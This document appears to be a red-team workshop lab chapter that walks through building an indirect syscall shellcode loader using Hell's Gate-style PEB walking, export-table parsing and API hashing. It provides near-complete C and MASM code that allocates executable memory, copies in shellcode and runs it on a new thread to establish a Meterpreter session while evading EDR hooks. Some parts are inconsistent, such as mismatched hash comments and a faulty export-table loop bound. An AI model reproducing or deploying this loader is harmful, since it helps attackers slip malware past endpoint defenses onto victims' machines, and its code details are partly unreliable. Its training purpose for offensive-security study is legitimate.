LAB Exercise: Dynamic SSN retrieval via PEB/EAT
In the first bonus chapter, we enhanced our indirect syscall loader by replacing hardcoded System Service Numbers (SSNs) with functionality to retrieve them dynamically at runtime from ntdll.dll
. Specifically, we used GetModuleHandle
to obtain a handle to ntdll.dll
, and GetProcAddress
—combined with a 4-byte offset—to extract the SSN for each target native function.
While this was a meaningful improvement, it introduces a significant limitation: depending on the EDR in place, both GetModuleHandle
and GetProcAddress
may be user-mode hooked. If that's the case, our loader will likely be flagged as malicious. To address this, we can avoid using these APIs entirely by retrieving SSNs dynamically via a combination of Process Environment Block (PEB) walking and Export Address Table (EAT) parsing.
Several public proof-of-concept implementations demonstrate this technique. The most notable is Hell's Gate, introduced in 2020 by am0nsec and RtlMateusz. It was the first public PoC to combine direct syscalls with dynamic SSN retrieval via PEB/EAT parsing. Later, in the context of indirect syscalls, mrd0x released Hell's Hall, a hybrid approach that merges the core ideas of Hell's Gate with indirect syscall execution.
In short, both Hell's Gate and Hell's Hall walk the PEB to locate the base address of ntdll.dll
without calling Windows APIs such as GetModuleHandleA
. They then parse the Export Address Table to resolve the addresses of native functions at runtime. From there, they extract the SSNs directly from the function prologues in memory. While the underlying procedure is more complex and involves deeper access to internal data structures, the conceptual flow is consistent.
If you're interested in the technical details of Hell’s Gate, I highly recommend reading the original whitepaper and the excellent blog post by Alice Clement-Pommeret. You might also want to check out my own blog post Exploring Hell's Gate, which walks through the code step by step.
In this tutorial, we will continue building our indirect syscall loader, but instead of relying on GetModuleHandleA
and GetProcAddress
, we’ll implement SSN resolution using PEB walking and manual parsing of the export directory in ntdll.dll
. Although Hell’s Gate uses this approach for direct syscalls, we will adapt it to our indirect syscall context, completing a more stealthy and resilient loader design.
You can find the code template for this tutorial here.


Shellcode Loader Coding
To better understand the provided code template, let’s walk through it step by step. If a section of code requires completion, it will be clearly marked as a task.
Header File
Since we’re no longer relying on ntdll.dll
to resolve the definitions of the native API functions at runtime, we must manually define the necessary structures and function prototypes. As in previous implementations, these definitions should be placed in a dedicated header file named syscalls.h
.
In this file, we define the structures and prototypes for all four native functions used in our loader. If you compare the syscalls.h
file from this indirect syscall proof-of-concept with those from earlier chapters, you’ll notice a key addition: the definition of the LDR_MODULE
structure.
This structure is essential for traversing the Process Environment Block (PEB), which allows us to locate the base address of ntdll.dll
without calling potentially hooked Windows API functions like GetModuleHandle
.
As always, ensure that the definitions in syscalls.h
are consistent with the Windows internal data structures expected at the respective architecture level (x64 in our case). This includes correct packing and alignment of fields to avoid memory access errors during the PEB walk.
Task
The code for syscalls.h
is already complete and is provided in the code section below. However, this file is not yet present in the current syscall proof-of-concept folder.
Your task is to:
- Create a new header file named
syscalls.h
in the root directory of the syscall PoC project. - Copy the provided code into the new
syscalls.h
file to ensure all required structures and function declarations are available. - Include the
syscalls.h
header in your main code by adding#include "syscalls.h"
at the top of your main.c
file.
If you examine the updated syscalls.h
file, you’ll notice that it includes a definition for the LDR_MODULE
structure. This structure was not part of the syscalls.h
files in Bonus Chapter 01 or in the earlier chapters from the main course.
The inclusion of LDR_MODULE
is necessary for implementing the PEB walk correctly. Without this structure, compilation would fail due to unresolved references in the main code when parsing the loader data entries from the PEB.


#ifndef _SYSCALLS_H // If _SYSCALLS_H is not defined then define it and the contents below. This is to prevent double inclusion.
#define _SYSCALLS_H // Define _SYSCALLS_H
#include <windows.h> // Include the Windows API header
VOID PrepareSSN(DWORD SSN);
NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
NTSTATUS NtProtectVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
NTSTATUS NtCreateThreadEx(
PHANDLE hThread,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID lpStartAddress,
PVOID lpParameter,
ULONG Flags,
SIZE_T StackZeroBits,
SIZE_T SizeOfStackCommit,
SIZE_T SizeOfStackReserve,
PVOID lpBytesBuffer
);
NTSTATUS NtWaitForSingleObject(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
VOID PrepareSSN(DWORD SSN);
VOID PrepareSyscallInst(INT_PTR syscallInstr);
NTSTATUS NtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
);
typedef struct LDR_MODULE {
LIST_ENTRY e[3];
HMODULE base;
void* entry;
UINT size;
UNICODE_STRING dllPath;
UNICODE_STRING dllname;
} LDR_MODULE, * PLDR_MODULE;
#endif // _SYSCALLS_H // End of the _SYSCALLS_H definition
Assembly Instructions
In this indirect syscall proof-of-concept, we intentionally avoid querying ntdll.dll
for the syscall stubs or extracting the actual syscall-related instructions of the native functions we use. Instead, we implement the required low-level logic directly in assembly.
Because this is an indirect syscall approach, we still want the syscall
instruction to execute from the memory space of ntdll.dll
. This ensures that ntdll.dll
appears at the top of the thread’s call stack after execution, mimicking legitimate execution flow and increasing stealth. To achieve this, we redirect execution so that the actual syscall
instruction is fetched and executed from within ntdll.dll
.
Rather than relying on automated tools to generate these instructions, we manually write the necessary assembly code. This deliberate choice supports a better understanding of how the syscall mechanism works under the hood.
You will find a file named syscalls.asm
in the indirect syscall loader PoC directory. This file already includes part of the required assembly logic. Your task is to review this file and complete the missing assembly routines as needed to support the native APIs used in this project.
Task
Your task is to add the existing syscalls.asm
file as a resource (existing item) to the Indirect Syscall Loader project. Once added, you are required to complete both the assembly code and corresponding C-side implementation for the three missing native APIs:
NtProtectVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject
If you are currently unable to implement the required assembly logic manually, you may use the provided reference solution. Simply copy the corresponding assembly stubs from the solution into the syscalls.asm
file located in the indirect syscall loader PoC directory.
Make sure the completed syscalls.asm
correctly exports the required syscall stubs and that the C code is properly updated to call them. This includes ensuring that:
- Each native function has a corresponding prototype and function pointer declaration in
syscalls.h
. - The syscall addresses are correctly resolved and assigned at runtime.
- The application correctly invokes the syscall via the indirect execution path defined in the assembly.
Once completed, validate the implementation by executing the loader and verifying stable functionality of all supported native calls.
.data
SSN DWORD 000h
syscallInstr QWORD 0h
.code
PrepareSSN proc
mov SSN, ecx
ret
PrepareSSN endp
PrepareSyscallInst proc
mov syscallInstr, rcx
ret
PrepareSyscallInst endp
NtAllocateVirtualMemory proc
mov r10, rcx
mov eax, SSN
jmp qword ptr syscallInstr
ret
NtAllocateVirtualMemory endp
NtProtectVirtualMemory proc
mov r10, rcx
mov eax, SSN
jmp qword ptr syscallInstr
ret
NtProtectVirtualMemory endp
NtCreateThreadEx proc
mov r10, rcx
mov eax, SSN
jmp qword ptr syscallInstr
ret
NtCreateThreadEx endp
NtWaitForSingleObject proc
mov r10, rcx
mov eax, SSN
jmp qword ptr syscallInstr
ret
NtWaitForSingleObject endp
end
Microsoft Macro Assembler (MASM)
All necessary assembly routines have already been implemented in the syscalls.asm
file. However, to ensure the code is interpreted and integrated correctly within the Direct Syscall proof-of-concept, a few manual steps are required. These steps are not included in the downloadable PoC and must be completed by the student.
This includes:
- Adding
syscalls.asm
to the Visual Studio project as an existing item, so it becomes part of the build process. - Configuring the project settings to support
.asm
files by enabling the use of the Microsoft Macro Assembler (MASM). - Verifying that all function names are correctly declared and exported, ensuring they can be resolved from C code without causing linker errors.
Completing these steps is essential for proper integration of the custom syscall stubs into the direct syscall loader. Failure to do so will result in build or runtime issues due to unresolved symbols or incorrect execution flow.
Task
The first step is to enable support for the Microsoft Macro Assembler (MASM) in your Visual Studio project. This is required to correctly compile and link the syscalls.asm
file.
To do this, navigate to Build Dependencies → Build Customizations, and check the box for masm. This enables the MASM toolchain and allows Visual Studio to recognize and assemble .asm
files as part of the project build process.
This step is essential to ensure that your assembly routines are compiled and linked alongside the C code in the Direct Syscall PoC.


Task
Next, we need to configure the build properties of the syscalls.asm
file to ensure it is correctly interpreted by the Visual Studio build system. By default, newly added .asm
files may not be properly associated with the MASM toolchain, which can lead to unresolved external symbol errors during linking—particularly for the native API stubs used in the direct syscall loader.
To fix this:
- Right-click on
syscalls.asm
in the Solution Explorer and open Properties. - Set the Item Type to Microsoft Macro Assembler.
- Ensure that Excluded from Build is set to No.
- Set Content to Yes to include the file as part of the project’s output structure, if needed for packaging or referencing.
These settings ensure the assembler routines are correctly compiled and linked with the rest of your project, enabling successful integration of the syscall stubs.



NTAPI Name to Hash
Later in the code, you’ll see that in order to retrieve the addresses of native functions from the export directory of ntdll.dll
, we need to iterate through the entire export table and extract the names of the exported functions. This process can be relatively slow if done using direct string comparisons for each lookup.
To improve efficiency, the code uses a hashing technique: instead of comparing function names as strings, it converts each function name to a hash value and compares these hashes. This significantly speeds up the lookup process, especially when working with large export tables.
The hash function used for this purpose is implemented in the code and will later be utilized in the GetFunctionAddr
function to match and resolve the target native API addresses.
// Function to calculate a simple hash for a given string
DWORD calcHash(char* data) {
DWORD hash = 0x99;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}
// Function to calculate the hash of a module
DWORD calcHashModule(LDR_MODULE* mdll) {
char name[64];
size_t i = 0;
while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {
name[i] = (char)mdll->dllname.Buffer[i];
i++;
}
name[i] = '\0';
return calcHash(CharLowerA(name));
}
Task
Furthermore, to correctly identify the target native functions during export table parsing, we need to compare hash values rather than raw function names. This requires calculating the hash values for the function names of interest: NtAllocateVirtualMemory
, NtProtectVirtualMemory
, NtCreateThreadEx
, and NtWaitForSingleObject
.
Your task is to use the provided Python script to compute the hash values for these four functions. Once calculated, make sure to write down or store all four hash values securely, as they will be required later during the implementation of the main function logic.
This step is essential for ensuring that the GetFunctionAddr
function can correctly resolve the addresses of these native APIs via hash comparison during runtime.
import sys
# Hash function
def myHash(data):
hash = 0x99 # initial hash value
for i in range(0, len(data)): # for each character in the string
hash += ord(data[i]) + (hash << 1) # calculate hash
print(hash) # print the computed hash
return hash # return the hash
# Main function to test the hash function
if __name__ == "__main__":
myHash(sys.argv[1]) # compute the hash for the command-line argument
Based on the provided script, your task is to create a new Python file named hash.py
. This file will be used to calculate the hash values of specific function names required for the indirect syscall loader.
Once the script is in place, run it using the following pattern as an example to compute the hash value of a given function name:
- Provide the function name as input to the script.
- The script will output the corresponding hash value.
Use this method to calculate the hashes for the following native functions:
NtAllocateVirtualMemory
NtProtectVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject
Make sure to document or save these hash values, as they will be used in a later step when implementing the logic in the GetFunctionAddr
function in the main loader.
cmd> python hash.py NtAllocateVirtualMemory

If you are unable to complete this code section on your own, you can refer to the solution provided below. It includes the complete implementation required to calculate the hash values for the target native function names.
NtAllocateVirtualMemory = 18479814906352
NtProtectVirtualMemory = 6180333595348
NtCreateThreadEx = 8454456120
NtWaitForSingleObject = 2060238558140

PEB Walk
The next step is to walk the Process Environment Block (PEB) to obtain the base address of ntdll.dll
. This is achieved using the GetModule
function, which is already fully implemented in the code template provided for this chapter.
If you examine the implementation closely, you’ll notice that the function performs a hash-based comparison using calcHashModule
to identify the correct module. This allows the code to locate ntdll.dll
without relying on potentially hooked Windows API calls such as GetModuleHandle
.
This approach ensures a more stealthy and reliable resolution of the ntdll.dll
base address, which is essential for later steps such as Export Address Table (EAT) parsing and indirect syscall execution.
// Function to get the base address of a module (dll) by hash
static HMODULE GetModule(DWORD myHash) {
HMODULE module;
INT_PTR peb = __readgsqword(0x60);
int ldr = 0x18;
int flink = 0x10;
INT_PTR Mldr = *(INT_PTR*)(peb + ldr);
INT_PTR M1flink = *(INT_PTR*)(Mldr + flink);
LDR_MODULE* Mdl = (LDR_MODULE*)M1flink;
do {
Mdl = (LDR_MODULE*)Mdl->e[0].Flink;
if (Mdl->base != NULL) {
if (calcHashModule(Mdl) == myHash) {
break;
}
}
} while (M1flink != (INT_PTR)Mdl);
module = (HMODULE)Mdl->base;
return module;
}
Export Address Table Parsing
Now that we have the base address of ntdll.dll
in memory, the next step involves resolving the addresses of specific native functions. This is done using the GetFunctionAddr
function, which is fully implemented in the provided code template.
GetFunctionAddr
navigates to the Export Directory of ntdll.dll
, which is located within the Data Directory of the module’s Optional Header. By iterating through the AddressOfFunctions
array in the export table, the function retrieves the Relative Virtual Addresses (RVAs) of all exported symbols. These RVAs are then added to the base address of ntdll.dll
to compute the absolute memory addresses of the corresponding functions.
To efficiently identify the target functions, GetFunctionAddr
uses calcHashModule
to compute hashes of each exported function name. These are then compared against the hash values calculated earlier, ensuring precise resolution of the required native APIs without relying on direct string comparisons.
This hash-based export resolution logic is already fully implemented and requires no modification at this stage.
// Function to get the address of a function by hash
static LPVOID GetFunctionAddr(HMODULE module, DWORD myHash) {
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((LPBYTE)module + DOSheader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY EXdir = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module + NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)module + EXdir->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)module + EXdir->AddressOfNames);
PWORD fOrdinals = (PWORD)((LPBYTE)module + EXdir->AddressOfNameOrdinals);
for (DWORD i = 0; i < EXdir->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)module + fNames[i]);
if (calcHash(pFuncName) == myHash) {
return (LPVOID)((LPBYTE)module + fAddr[fOrdinals[i]]);
}
}
return NULL;
}
Main Function
Task
In the main
function, most of the logic is already implemented. However, one critical step remains: you must insert the hash values you previously calculated for the native functions into the correct locations within the code.
Carefully examine the main
function and identify where each hash value needs to be inserted for the corresponding API call. This typically occurs during the invocation of GetFunctionAddr
, where the hash is used to locate the function’s address within the export directory of ntdll.dll
.
As an example, you will see how the hash for NtAllocateVirtualMemory
is already used in the code. Use this pattern as a reference to complete the entries for the remaining functions:
NtProtectVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject
This step is essential for enabling the loader to resolve the correct function addresses and ultimately retrieve the corresponding SSNs dynamically. Without the correct hashes, the loader will fail to locate the required native functions, breaking the syscall execution path.
addr = GetFunctionAddr(ntdll, 18887768681269); // Retrieve the address of the function within ntdll.dll that corresponds to the hash 8454456120 (NtAllocateVirtualMemory)
If you were unable to complete this code section on your own, the solution is provided below. It contains the correct placement of the precomputed hash values within the main
function, ensuring that each native function can be resolved properly through GetFunctionAddr
.
int main() {
// Define shellcode to be injected.
const char shellcode[] = "\xfc\x48\x83...";
LPVOID addr = NULL; // Address of the function in ntdll.dll
DWORD syscallNum = NULL; // Syscall number
INT_PTR syscallAddr = NULL; // Address of the syscall instruction
// Retrieve handle to ntdll.dll
HMODULE ntdll = GetModule(4097367);
//--------------------------------------------------------------------------------------------------------------------------------
PVOID BaseAddress = NULL; // Base address for the shellcode
SIZE_T RegionSize = sizeof(shellcode); // Size of the shellcode region
addr = GetFunctionAddr(ntdll, 18887768681269); // Retrieve the address of the function within ntdll.dll that corresponds to the hash 8454456120 (NtAllocateVirtualMemory)
syscallNum = GetsyscallNum(addr); // Based on the address of the function, use the GetSyscallNum function to get the S
syscallAddr = GetsyscallInstr(addr); // Now that we have the address of the function, we can find out what the address of the syscall instruction is.
PrepareSSN(syscallNum); // Call the external defined function PrepareSSN defined in syscalls.h to store the SSN and then pass it to the MASM code.
PrepareSyscallInst(syscallAddr); // Call the external defined function PrepareSyscallInst defined in syscalls.h to store the address of the syscall instruction and then pass it to the MASM code.
// Allocate memory for the shellcode
NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//--------------------------------------------------------------------------------------------------------------------------------
// Copy the shellcode into the allocated memory region
memcpy(BaseAddress, shellcode, sizeof(shellcode));
//--------------------------------------------------------------------------------------------------------------------------------
HANDLE hThread; // Handle to the newly created thread
DWORD OldProtect = NULL; // Previous protection level of the memory region
// Retrieve the address of NtProtectVirtualMemory in ntdll.dll
addr = GetFunctionAddr(ntdll, 6180333595348);
syscallNum = GetsyscallNum(addr);
syscallAddr = GetsyscallInstr(addr);
PrepareSSN(syscallNum);
PrepareSyscallInst(syscallAddr);
// Change the protection level of the memory region to PAGE_EXECUTE_READWRITE
NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READ, &OldProtect);
//--------------------------------------------------------------------------------------------------------------------------------
HANDLE hHostThread = INVALID_HANDLE_VALUE; // Handle to the host thread
// Retrieve the address of NtCreateThreadEx in ntdll.dll
addr = GetFunctionAddr(ntdll, 8454456120);
syscallNum = GetsyscallNum(addr);
syscallAddr = GetsyscallInstr(addr);
PrepareSSN(syscallNum);
PrepareSyscallInst(syscallAddr);
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
//--------------------------------------------------------------------------------------------------------------------------------
// Retrieve the address of NtWaitForSingleObject in ntdll.dll
addr = GetFunctionAddr(ntdll, 2060238558140);
syscallNum = GetsyscallNum(addr);
syscallAddr = GetsyscallInstr(addr);
PrepareSSN(syscallNum);
PrepareSyscallInst(syscallAddr);
NtWaitForSingleObject(hThread, FALSE, NULL);
return 0;
}
SSN Retrieval
To retrieve the correct System Service Number (SSN) for each native function, the absolute memory address obtained in the previous steps is used to locate the corresponding syscall stub within the memory space of ntdll.dll
. Once located, a simple pattern-matching technique is applied to verify that the correct stub has been identified. If the expected opcode pattern matches, the SSN is extracted from the stub and stored in the appropriate variable.
Task
In this code section, your task is to use x64dbg to inspect a clean (i.e., unhooked) syscall stub from a native function—for example, NtAllocateVirtualMemory
. Your goal is to identify and complete the missing bytes in the opcode comparison logic used in the GetSyscallNum
and GetSyscallInstr
functions.
To do this correctly, examine the following specific byte positions within the syscall stub, starting from the first byte (offset 0x4C
) of the function:
- Bytes 1, 2, 3, 6, and 7 must be compared against known opcode values.
- Bytes 4 and 5 represent the SSN (high and low byte) and are not included in the comparison. These are extracted only if the opcode pattern matches.
This comparison helps ensure you're reading a valid and unmodified syscall stub before extracting the SSN.
If you were unable to complete this code section, don't worry. The solution is provided below for your reference, and you can revisit this task later with a better understanding.
// Function to retrieve syscall number given an address.
WORD GetsyscallNum(LPVOID addr) {
WORD SSN = NULL;
while (TRUE) {
// Check if the current bytes represent a syscall; if so, we've gone too far.
if (*((PBYTE)addr) == 0x0f && *((PBYTE)addr + 1) == 0x05)
return FALSE;
// Check if the current byte is a return opcode; if so, we've gone too far.
if (*((PBYTE)addr) == 0xc3)
return FALSE;
// Check if the current bytes match the pattern from an unhooked clean syscall stub from a native function e.g. NtAllocateVirtualMemory; if so, return the syscall number.
if (*((PBYTE)addr) == 0x4c
&& *((PBYTE)addr + 1) == 0x8b
&& *((PBYTE)addr + 2) == 0xd1
&& *((PBYTE)addr + 3) == 0xb8
&& *((PBYTE)addr + 6) == 0x00
&& *((PBYTE)addr + 7) == 0x00) {
BYTE high = *((PBYTE)addr + 5);
BYTE low = *((PBYTE)addr + 4);
SSN = (high << 8) | low;
return SSN;
}
}
}
// Function to retrieve address of syscall instruction given an address.
INT_PTR GetsyscallInstr(LPVOID addr) {
// Check if the current bytes match the pattern from an unhooked clean syscall stub from a native function e.g. NtAllocateVirtualMemory; if so, return the syscall number.
if (*((PBYTE)addr) == 0x4c
&& *((PBYTE)addr + 1) == 0x8b
&& *((PBYTE)addr + 2) == 0xd1
&& *((PBYTE)addr + 3) == 0xb8
&& *((PBYTE)addr + 6) == 0x00
&& *((PBYTE)addr + 7) == 0x00) {
return (INT_PTR)addr + 0x12; // Address of syscall instruction
}
}

Shellcode Loader Analysis
The first step is to execute your Indirect Syscall Loader, verify that the .exe
is running correctly, and confirm that a stable Meterpreter C2 channel has been established. Once the loader is active, open x64dbg and attach it to the running process.
Note: If you choose to open the indirect syscall loader directly in x64dbg (rather than attaching to a live instance), you will need to manually execute the initial assembly instructions. This is necessary to reach the runtime context in which the syscall stubs and related structures are properly initialized in memory.


Task
Try to analyze the disassembled code using x64dbg. As you step through the execution, pay close attention to the following elements. What parts of the code can you identify?
For each native function used in the main
function, you should be able to observe the following key stages:
- The section where
GetFunctionAddr
is called to resolve the function’s absolute address in memory. This address is calculated based on the base ofntdll.dll
and the relative offset extracted from the export directory. - The point at which
PrepareSSN
is called. This function reads the memory at the resolved address of the native API and attempts to locate and extract the System Service Number (SSN) based on known opcode patterns. - The section where
PrepareSyscallInstr
is invoked. This function determines the address of the actualsyscall
instruction withinntdll.dll
, which will later be used for thejmp [syscallInstr]
redirection to perform the indirect syscall.
As you step through each stage in x64dbg, try to correlate what you see in the disassembly with these function calls. This will help solidify your understanding of the indirect syscall mechanism and how each component contributes to resolving and executing the system call.

You can also identify, within the syscalls.asm
file, the assembly code responsible for preparing and executing the indirect syscalls for each native function.
Each stub in this file is manually crafted to follow the calling convention required for the specific native API. These routines set up the required registers and then perform an indirect jump to the syscall
instruction located within ntdll.dll
—previously resolved and stored via the PrepareSyscallInstr
function.
By stepping through this code in x64dbg, you can observe how the execution flows from the main function into the assembly stub, transfers control to the actual syscall
instruction inside ntdll.dll
, and then returns to continue execution.

Summary
In this chapter, we transitioned from retrieving System Service Numbers (SSNs) using potentially hooked Windows API functions (e.g., GetModuleHandleA
, GetProcAddress
) to a more stealthy and resilient approach: walking the Process Environment Block (PEB) and manually parsing the Export Address Table (EAT) of ntdll.dll
.
This method significantly improves evasion capability, as it avoids reliance on user-mode APIs that are commonly monitored or hooked by Endpoint Detection and Response (EDR) solutions. By resolving function addresses and extracting SSNs directly from memory, we reduce the attack surface exposed to user-mode defenses and enhance the stealth of our syscall-based loader.
Limitations
While retrieving SSNs dynamically through PEB walking and Export Address Table (EAT) parsing is effective in bypassing user-mode hooks on functions like GetModuleHandleA
and GetProcAddress
, this technique has its limitations. If an EDR also hooks lower-level functions such as NtAllocateVirtualMemory
, NtWriteVirtualMemory
, or similar, this method may fail. In such cases, the system call stubs themselves may be modified or removed, making it impossible to extract the SSNs reliably using this approach.
To address this limitation, the next chapter introduces Halos Gate, an evolution of the Hell's Gate technique. Halos Gate is specifically designed to handle scenarios where the syscall stubs have been tampered with, enabling reliable SSN retrieval even when direct access to unmodified stubs is no longer possible.
If you're interested in further improving your (in)direct syscall shellcode loader and integrating the Halos Gate approach, refer to the material in Bonus Chapter 3 from the DEF CON 31 workshop.
Happy Hacking!
Daniel Feichter @VirtualAllocEx
Creds and References
- https://www.ired.team/
- https://0xdarkvortex.dev/hiding-in-plainsight/
- https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/
- https://alice.climent-pommeret.red/posts/how-and-why-to-unhook-the-import-address-table/
- https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel/
- https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/
- https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
- https://github.com/Maldev-Academy/HellHall
- https://github.com/am0nsec/HellsGate/tree/master
- https://blog.sektor7.net/#!res/2021/halosgate.md
- https://github.com/TheD1rkMtr/D1rkLdr
- https://github.com/trickster0/TartarusGate
- Windows Internals, Part 1: System architecture, processes, threads, memory management, and more (7th Edition) by Pavel Yosifovich, David A. Solomon, and Alex Ionescu
- Windows Internals, Part 2 (7th Edition) by, David A. Solomon, and Alex Ionescu
- https://offensivecraft.wordpress.com/2022/12/08/the-stack-series-return-address-spoofing-on-x64/
- https://offensivecraft.wordpress.com/2023/02/11/the-stack-series-the-x64-stack/
- https://winternl.com/detecting-manual-syscalls-from-user-mode/